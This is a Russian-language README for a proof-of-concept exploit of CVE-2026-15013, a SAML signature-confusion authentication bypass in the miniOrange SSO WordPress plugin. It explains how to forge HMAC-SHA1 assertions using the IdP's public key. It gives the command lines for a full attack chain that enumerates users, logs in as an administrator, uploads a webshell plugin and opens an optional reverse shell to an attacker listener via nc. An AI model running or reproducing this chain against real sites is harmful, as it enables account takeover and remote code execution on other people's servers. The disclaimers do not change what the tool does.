CVE-2026-15013 — miniOrange SAML SSO <= 5.4.3: обход аутентификации (PoC)

PoC для CVE-2026-15013: неаутентифицированный обход аутентификации через путаницу алгоритмов подписи SAML (HMAC-SHA1) в WordPress-плагине miniOrange SAML Single Sign On – SSO Login (версии до 5.4.3 включительно).

Только авторизованное тестирование. Используйте этот код исключительно в системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Несанкционированный доступ к компьютерным системам противозаконен.

Благодарности

Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013

Первопричина

Mo_SAML_Utilities::mo_saml_cast_key() доверяет алгоритму SignatureMethod из управляемого атакующим SAMLResponse. Когда задан HMAC-SHA1, плагин переинтерпретирует открытый ключ RSA IdP как общий секрет HMAC и проверяет с его помощью подпись. Любой, кто может прочитать сертификат IdP (часто это публичные метаданные), может подделать действительное утверждение для любого существующего пользователя WordPress, включая администраторов.

Исправлено в 5.4.4+ (небезопасные алгоритмы / HMAC отклоняются).

CVSS

9.8 КРИТИЧЕСКИЙ — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Требования

• Python 3.10+
• openssl CLI (для преобразования сертификата в открытый ключ)
• Сетевой доступ к целевому сайту WordPress и, для автоматического получения ключа, к SAML-дескриптору IdP

Установка зависимостей:

pip install -r requirements.txt

Использование

Полная цепочка (энумерация, HMAC-вход, админ, веб-шелл):

python3 exploit.py -u https://TARGET.example

Опциональный reverse shell (сначала запустите слушатель: nc -lvnp 4444):

python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444

Только вход (без шелла):

python3 exploit.py -u https://TARGET.example --no-shell

Ручное переопределение параметров:

python3 exploit.py -u https://TARGET.example \
  --issuer https://idp.example/realms/xxx \
  --nameid admin \
  -k ./idp-pubkey.pem

Аргументы

Порядок работы

1. Определить WordPress и версию плагина (должна быть <= 5.4.3)
2. Обнаружить ACS, SP entityID, издателя IdP
3. Получить подписывающий сертификат IdP (метаданные) и извлечь PEM открытого ключа (секрет HMAC)
4. Перечислить пользователей WordPress
5. Подделать подписанный HMAC-SHA1 SAMLResponse для каждого пользователя-кандидата
6. Выбрать учётную запись с правом install_plugins (администратор)
7. Загрузить плагин-вебшелл (exp/shell.php?c=id)
8. Опциональный reverse shell через --lhost

Отказ от ответственности

Этот проект предназначен только для образовательных целей и авторизованных исследований в области безопасности. Авторы и участники не несут ответственности за неправомерное использование. Всегда получайте письменное разрешение перед тестированием сторонних систем. Исходная уязвимость была раскрыта в рамках ответственного раскрытия (responsible disclosure); данный репозиторий лишь демонстрирует воспроизведение для обучения и защитной проверки.

Ссылки

• https://www.cve.org/CVERecord?id=CVE-2026-15013
• https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve
• Исправление плагина: miniOrange SAML 5.4.4+

Лицензия

Для исследовательского использования. Без гарантий.